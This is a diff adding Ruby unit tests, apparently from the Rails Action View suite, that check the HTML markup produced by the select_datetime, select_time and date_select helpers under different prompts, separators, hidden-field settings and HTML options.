+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(nil, :prefix => "date[first]")
+ end
+
+ def test_select_datetime_with_html_options
+ expected = %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+
+ expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]" class="selector">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]" class="selector">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => 'selector')
+ end
+
+ def test_select_datetime_with_all_separators
+ expected = %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << "/"
+
+ expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << "/"
+
+ expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ expected << "—"
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]" class="selector">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ expected << ":"
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]" class="selector">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), { :datetime_separator => "—", :date_separator => "/", :time_separator => ":", :start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => 'selector')
+ end
+
+ def test_select_datetime_should_work_with_date
+ assert_nothing_raised { select_datetime(Date.today) }
+ end
+
+ def test_select_datetime_with_default_prompt
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="">Year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+ expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<optio [...]
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+ expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<opt [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005,
+ :prefix => "date[first]", :prompt => true)
+ end
+
+ def test_select_datetime_with_custom_prompt
+
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="">Choose year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December [...]
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<optio [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+ expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\ [...]
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+ expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]",
+ :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year', :hour => 'Choose hour', :minute => 'Choose minute'})
+ end
+
+ def test_select_datetime_with_custom_hours
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="">Choose year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December [...]
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<optio [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+ expected << %(<option value="">Choose hour</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+ expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :start_hour => 1, :end_hour => 9, :prefix => "date[first]",
+ :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year', :hour => 'Choose hour', :minute => 'Choose minute'})
+ end
+
+ def test_select_datetime_with_hidden
+ expected = %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
+ expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+ expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
+ expected << %(<input id="date_first_hour" name="date[first][hour]" type="hidden" value="8" />\n)
+ expected << %(<input id="date_first_minute" name="date[first][minute]" type="hidden" value="4" />\n)
+
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :prefix => "date[first]", :use_hidden => true)
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :datetime_separator => "—", :date_separator => "/",
+ :time_separator => ":", :prefix => "date[first]", :use_hidden => true)
+ end
+
+ def test_select_time
+ expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+ expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+ expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+ expected << %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18))
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => false)
+ end
+
+ def test_select_time_with_ampm
+ expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+ expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+ expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+ expected << %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\ [...]
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => false, :ampm => true)
+ end
+
+ def test_select_time_with_separator
+ expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+ expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+ expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+ expected << %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ' : ')
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ' : ', :include_seconds => false)
+ end
+
+ def test_select_time_with_seconds
+ expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+ expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+ expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+ expected << %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ expected << ' : '
+
+ expected << %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ expected << ' : '
+
+ expected << %(<select id="date_second" name="date[second]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true)
+ end
+
+ def test_select_time_with_seconds_and_separator
+ expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+ expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+ expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+ expected << %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_second" name="date[second]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true, :time_separator => ' : ')
+ end
+
+ def test_select_time_with_html_options
+ expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+ expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+ expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+ expected << %(<select id="date_hour" name="date[hour]" class="selector">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_minute" name="date[minute]" class="selector">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector')
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {:include_seconds => false}, :class => 'selector')
+ end
+
+ def test_select_time_should_work_with_date
+ assert_nothing_raised { select_time(Date.today) }
+ end
+
+ def test_select_time_with_default_prompt
+ expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+ expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+ expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+ expected << %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<optio [...]
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<opt [...]
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_second" name="date[second]">\n)
+ expected << %(<option value="">Seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</ [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true, :prompt => true)
+ end
+
+ def test_select_time_with_custom_prompt
+ expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+ expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+ expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+ expected << %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\ [...]
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option [...]
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_second" name="date[second]">\n)
+ expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="1 [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true, :include_seconds => true,
+ :prompt => {:hour => 'Choose hour', :minute => 'Choose minute', :second => 'Choose seconds'})
+ end
+
+ def test_select_time_with_hidden
+ expected = %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
+ expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+ expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
+ expected << %(<input id="date_first_hour" name="date[first][hour]" type="hidden" value="8" />\n)
+ expected << %(<input id="date_first_minute" name="date[first][minute]" type="hidden" value="4" />\n)
+
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :prefix => "date[first]", :use_hidden => true)
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ":", :prefix => "date[first]", :use_hidden => true)
+ end
+
+ def test_date_select
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on")
+ end
+
+ def test_date_select_with_selected
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
